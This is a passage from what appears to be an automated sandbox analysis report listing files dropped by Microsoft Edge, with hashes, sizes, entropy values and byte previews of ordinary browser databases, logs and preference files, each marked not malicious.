File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.267279232651545
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMvSA1LyKOMq+8iP5GDHP/0jMVumW:Kq+n0Jv91LyKOMq+8iP5GLP/0j
MD5:	CD3619AFEE05C06AE87A52DACFF5DDD3
SHA1:	EDD9FCCC988CB9078755A101B447824E9E21A085
SHA-256:	EEAB6CEDC6B21FDB2F1AC72796EF005B4BFA5699F31EE7A122F24CA93B4082BD
SHA-512:	5C8111F07F6171903E901BBE926B993DA96F0C37DB50FF22F657E08362ECABE5B2316C263641B7A3F0C78073D84A4FCC6EF07FC86BA382909CCA64F38DA08995
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4662923313622866
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0jfY:v7doKsKuKZKlZNmu46yjx0M
MD5:	14209156C5085038B1890E8F2CC581D4
SHA1:	39C4C4D76B38C238335925B898250F5D9815A894
SHA-256:	AEE5AD6FE6742B7A3B0F1C33C7DC0C3ACD2C850F8260389B72097FCAC107FD18
SHA-512:	28F0A658BE608F37E9E15E0D3EF1DD4BF52D4C95BFB696489287C9ADDD50C0475B24416A78418EB143664C02B2036B11B139E6E2745803F2E4D514EA8C2C7EF7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b57b8387-3736-4c98-bffc-41b323ae0664.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ce3374bc-f6eb-4525-a06a-d9505646375c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17369), with no line terminators
Category:	dropped
Size (bytes):	17373
Entropy (8bit):	5.4791388401204415
Encrypted:	false
SSDEEP:	192:stMJ99QTryDiuabatSuypAszqaFvrEjhb1kP3NypJsKW+BUT7lukTrDzHW8CbV+v:stMPGQSu4AszqCDqddzrBNbGkQwj3H2
MD5:	892F8B784878BF5C24250D5202C2AEF7
SHA1:	3E3CC1CCB954CA1D8A790EC827D5FC568A70DFAF
SHA-256:	B7EB6019390CD9019FBBF4318DEEFC17C2F31ACDF3759BE51F64D4E9FBF002F8
SHA-512:	03057A67ADAF9362F2215E5D67C3C25C4EB9253D2E62E376D814CC193984970AE83E3B4487B54E26C6B60E41DF70CAD41EDB2C14D7D78BE547CD5561232FBEE8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376359661396914","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f1bbbdee-a709-4999-86ad-8a96f6dbec8a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.107727896444913
Encrypted:	false
SSDEEP:	192:stMkdpAszqaFvrE9k4sHW8CbV+FdGQASUH+PIYJ:stMQAszqCDMbGkQgH2
MD5:	756A1FFAF92C32B2630C72C47E1A0516
SHA1:	EA7CE236A49009FE726CCFC70A8546B432E87645
SHA-256:	933ADC735CBC55E39474DCB1BD2A4461B4D4C0E80D614B8A6B578584047B11A0
SHA-512:	87309B5DFE521E7FF8026E7C01B4F2BFE7CD510EE2EFB9E547FEF022C2FC641B429169E941B4AC231CD4B47CDEE78B78DBA8F82B89936F9E6327442FADF380F7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376359661396914","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f5ec6fe8-8a50-485f-bd0b-07a4b12aee63.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567645853909119
Encrypted:	false
SSDEEP:	768:rLQOaRW5ZW5w6wf4vG8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPMQII1p7rwXwpZtuB:rkpRAZWa6wfiGu1jatOfQ2te
MD5:	C85F95F263CC6CDBEB52709B48D6F2BC
SHA1:	529F33EC9486638772AC39E722EC71D478F0779D
SHA-256:	F0BE5262B27955D78E80582AE179597F41C11BC1EB5A0AA89DA65A5ACCF0F7D7
SHA-512:	B2F77F6EDFD0FCA6170B72FBEA43EE591A3880F18757A32B9D322AA7474E894AAE2F36F1B85D578EE051C676AF0A381C4CD4DAD84116B887B874A105EAA06274
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376359660807066","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376359660807066","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10262882257627809
Encrypted:	false
SSDEEP:	12:+EfzR/EfzR6LspEjVl/PnnnnnnnnnnnvoQ/Eou:+yxygEoPnnnnnnnnnnnv1j
MD5:	D89EC6FA26306C768E6502051C1DD108
SHA1:	468490B2652E15510C68406C6CC9EF73CD92FA37
SHA-256:	8564E5972BDA7CAAB1CEF442B36AD8D99AD35F58F767B63A7716E90C054E1523
SHA-512:	4061C460842A3C823D2FBE0A06876BD58C0D9DF1138758E9FC5FF338B9C51A21F9818A3AE7C803C4F0775D35CEF4526222152C69EAB00E64379378E85BD97C9C
Malicious:	false
Preview:	..-.............M.......{.......$J...V...zUp......-.............M.......{.......$J...V...zUp............I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8882875302396991
Encrypted:	false
SSDEEP:	384:LyMyMqlV38Lbkm3p52DqWu+1L3v8HyRy5CyWy5GyAxyvR:io
MD5:	3DA439277AA279413713CD8B375A7B55
SHA1:	B2DEE12964336C660FE7EB7C03718C1EFA8BB1D5
SHA-256:	32FD2312BE8B664881D259776176D19AE68802C0CB11F24E752A359E106E9215
SHA-512:	4EFA471B5FCBCA8169BC75521AE6988A8937A8A2E97E13138DA3A937EA74D8128273B2D65C60896019278F4637CDFE3B1FDBF2238F3619D66D9570BDB6D46BA6
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2399714486384945
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuun89:pHayw
MD5:	7D6D8EE1B101414A2AEE9099756F1922
SHA1:	8A780B03C6309289F21B3C61842F88F72D2161CE
SHA-256:	FA8AA752A2D004CCA201E89E0373622AE5363A020AC60E91AD76CF2C4FDB732D
SHA-512:	C8F1A8ACF91A102D3DC0F5BA98AD20BA77AEC10E0CAD9A6D4FB84D3744CDD3A2CE2E4C8F815CC554E1C044E72770CC9F87C8550B81DE188F8108C9DF2982679F
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............q.Xm0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.201001667779819
Encrypted:	false
SSDEEP:	6:HU6jUDN+q2PN723oH+TcwtfrK+IFUt8YU6QSZmw+YU6QuVkwON723oH+TcwtfrUQ:DjUDIvVaYeb23FUt80L/+0B5OaYeb3J
MD5:	17B072B25E2B7F62C50F5A25E06A8E3B
SHA1:	FA6D4C592C66285BD2748B70DEB53D2C7E7D2353
SHA-256:	B151B425DCB3189497181A4D92271AB8903570B586428C6E80EF97DD4462FF6B
SHA-512:	1438B59F6486251424AE54EFC45FE06EFFF174007F9F50C517306535BE95CBE92079D40E5D55FB2DA3B601014C747A2544DE71DDE8B7BA54F8E11E7AA6270911
Malicious:	false
Preview:	2024/11/17-18:27:41.424 1e38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/17-18:27:41.425 1e38 Recovering log #3.2024/11/17-18:27:41.425 1e38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.201001667779819
Encrypted:	false
SSDEEP:	6:HU6jUDN+q2PN723oH+TcwtfrK+IFUt8YU6QSZmw+YU6QuVkwON723oH+TcwtfrUQ:DjUDIvVaYeb23FUt80L/+0B5OaYeb3J
MD5:	17B072B25E2B7F62C50F5A25E06A8E3B
SHA1:	FA6D4C592C66285BD2748B70DEB53D2C7E7D2353
SHA-256:	B151B425DCB3189497181A4D92271AB8903570B586428C6E80EF97DD4462FF6B
SHA-512:	1438B59F6486251424AE54EFC45FE06EFFF174007F9F50C517306535BE95CBE92079D40E5D55FB2DA3B601014C747A2544DE71DDE8B7BA54F8E11E7AA6270911
Malicious:	false
Preview:	2024/11/17-18:27:41.424 1e38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/17-18:27:41.425 1e38 Recovering log #3.2024/11/17-18:27:41.425 1e38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.18650220728287
Encrypted:	false
SSDEEP:	6:HUHN+q2PN723oH+TcwtfrzAdIFUt8YUHZZmw+YUHNVkwON723oH+TcwtfrzILJ:dvVaYeb9FUt8H/+V5OaYeb2J
MD5:	78578BB3BA2D85418E8B236B9DC081E6
SHA1:	95418EF1663FF660E55166428BA2175773394E11
SHA-256:	E1AE2D5B138250CEEF44A1765C3304F901279B6679809702534E2EDC0AB1E514
SHA-512:	01E33A98B903E1E60247470E4155F897E8ABDA94BF775F4C0700C84DCB01D909CABF642C3AC97A554009A135CE3D4C92F16D5462145ACACE52BB0A54FAF002DA
Malicious:	false
Preview:	2024/11/17-18:27:41.419 1e38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/17-18:27:41.419 1e38 Recovering log #3.2024/11/17-18:27:41.419 1e38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.18650220728287
Encrypted:	false
SSDEEP:	6:HUHN+q2PN723oH+TcwtfrzAdIFUt8YUHZZmw+YUHNVkwON723oH+TcwtfrzILJ:dvVaYeb9FUt8H/+V5OaYeb2J
MD5:	78578BB3BA2D85418E8B236B9DC081E6
SHA1:	95418EF1663FF660E55166428BA2175773394E11
SHA-256:	E1AE2D5B138250CEEF44A1765C3304F901279B6679809702534E2EDC0AB1E514
SHA-512:	01E33A98B903E1E60247470E4155F897E8ABDA94BF775F4C0700C84DCB01D909CABF642C3AC97A554009A135CE3D4C92F16D5462145ACACE52BB0A54FAF002DA
Malicious:	false
Preview:	2024/11/17-18:27:41.419 1e38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/17-18:27:41.419 1e38 Recovering log #3.2024/11/17-18:27:41.419 1e38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802921735369
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMEkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yneXkzItSmd6qE7lFoC
MD5:	E65DF04FD76AD33E72E562FA12B767E4
SHA1:	DC10B1C6CCB200B770D947B82B97A15142EFD730
SHA-256:	19F50065ACADAF6E53A9510AB4D199757F6FB88DBE927CF774B4013231FA0CD0
SHA-512:	6211DBFA5BA669BEC055637BD183C7D0DAE49BF6783A2F78F8BA4EAC42BEE727B10F11996ADAF9EABD0D80CF9937B334A4271802BBD562DC0F520F4F444DA8C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c063.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802921735369
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMEkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yneXkzItSmd6qE7lFoC
MD5:	E65DF04FD76AD33E72E562FA12B767E4
SHA1:	DC10B1C6CCB200B770D947B82B97A15142EFD730
SHA-256:	19F50065ACADAF6E53A9510AB4D199757F6FB88DBE927CF774B4013231FA0CD0
SHA-512:	6211DBFA5BA669BEC055637BD183C7D0DAE49BF6783A2F78F8BA4EAC42BEE727B10F11996ADAF9EABD0D80CF9937B334A4271802BBD562DC0F520F4F444DA8C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c073.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802921735369
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMEkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yneXkzItSmd6qE7lFoC
MD5:	E65DF04FD76AD33E72E562FA12B767E4
SHA1:	DC10B1C6CCB200B770D947B82B97A15142EFD730
SHA-256:	19F50065ACADAF6E53A9510AB4D199757F6FB88DBE927CF774B4013231FA0CD0
SHA-512:	6211DBFA5BA669BEC055637BD183C7D0DAE49BF6783A2F78F8BA4EAC42BEE727B10F11996ADAF9EABD0D80CF9937B334A4271802BBD562DC0F520F4F444DA8C4
Malicious:	false
